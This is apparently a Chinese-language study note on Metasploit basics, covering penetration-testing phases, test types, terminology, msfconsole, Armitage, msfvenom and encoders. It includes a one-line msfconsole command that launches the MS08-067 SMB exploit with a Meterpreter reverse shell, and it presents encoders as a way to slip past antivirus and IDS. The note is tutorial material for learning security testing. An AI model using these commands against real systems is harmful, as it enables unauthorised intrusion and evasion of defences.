Metasploit基础

渗透测试流程和类型

渗透测试流程

渗透测试执行标准(PTES:Penetration Testing Execution Standard)对渗透测试进行了定义。

  • 前期交互阶段
  • 情报搜集阶段
  • 威胁建模阶段
  • 漏洞分析阶段
  • 渗透攻击阶段
  • 后渗透攻击阶段
  • 报告阶段

每个阶段现在不作详细的介绍,在后面会有针对性的讲解。对一些靶机的渗透过程中,会综合运用以上的阶段。当然,标准是灵活的,我们一样可以按照自己的习惯和经验来制定自己的渗透测试流程。像我在读的另外一本书《黑客秘笈——渗透测试使用指南(第2版)》(英文原著已经到第3版,只是还没有中文译本),笔者就有自己的一套渗透测试流程,或许这套流程更适合自己。

渗透测试类型

  • 白盒测试
    拥有所有的内部知识,在不需要害怕被阻断的情况下任意地实施攻击。
  • 黑盒测试
    不了解客户组织大部分信息和知识,模拟攻击者的入侵行为,费时费力,需要具备更强的技术能力。
  • 灰盒测试
    上面两者的组合,已经了解部分内部知识(结构拓扑图、访问凭证、应用使用手册等)。

Metasploit基础

接口 选项 变量 模块...

专业术语

1. Exploit_渗透攻击

攻击者利用一个安全漏洞所进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击(如SQL注入),及利用配置错误等。

2. Payload_攻击载荷

是我们期望目标系统在被渗透攻击之后去执行的代码

3. shellcode

在渗透攻击时作为攻击载荷运行的一组机器命令。shellcode通常以汇编语言编写。

4. Module_模块

一个模块是指Metasploit框架中所使用的一段软件代码组件
比如说:渗透攻击模块(exploit module),辅助模块(auxiliary module)

5. Listener_监听器

等待被渗透主机连入网络的连接的组件

接口

1. MSF终端

msfconsole启动

help 命令 查看命令帮助,如 help connect,查看connect命令的相关选项。

2. MSF命令行

命令行和终端的区别
终端以一种用户友好的模式提供交互方式。
命令行主要考虑对脚本处理和与其他命令行工具的互操作性。简单说就是一行命令直接解决,不像终端那样交互几次。
在2015年1月份,Metasploit 官方宣布不再支持msfcli命令行工具,作为替代方案,建议使用MSF终端的“-x”选项。
如:

./msfconsole -x "use exploit/windows/smb/mse8_067_netapi;set RHOST [IP];set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST [IP];run"

3. Armitage

完全交互式的图形化用户接口。跟终端的区别在于可以图形化选择模块,已经集成在kali上。

Metasploit功能程序

就是指在某些特殊场合下最常用的功能。

1. MSF攻击载荷生成器

MSF攻击载荷生成器允许你能够生成shellcode、可执行代码和其他更多的东西,也可以让它们在框架软件之外的渗透代码中进行使用。

msfpayload已经被弃用,取而代之的是集成了攻击载荷生成编码msfvenom

如果对某个攻击载荷的模块不清楚配置,使用payload-options

root@kali:~$ msfvenom-p windows/she11_reverse_tcp --payload-options

2. MSF编码器

为什么要使用编码器:

  • 由MSF攻击载荷生成器产生的shellcode是完全可运行的,但是其中包含了一些null空字符,在一些程序进行解析时,这些空字符会被认为是字符串的结束,从而使得代码在完整执行之前被截断而终止运行。简单来说,这些\x00和\xff字符会破坏你的攻击载荷。

  • 在网络上明文传输的shellcode很可能被入侵检测系统(IDS)和杀毒软件所识别,为了解决这一问题,MSF编码器来啦!它可以帮助你通过对原始攻击载荷进行编码的方式,来避免坏字符,以及逃避杀毒软件和IDS的检测。

3. Nasm shell

在进行渗透代码开发时(绝对是大神级别了),需要对给定的汇编命令找出它的opcode操作码,nasm就特别舒服了!

你可能感兴趣的:(Metasploit基础)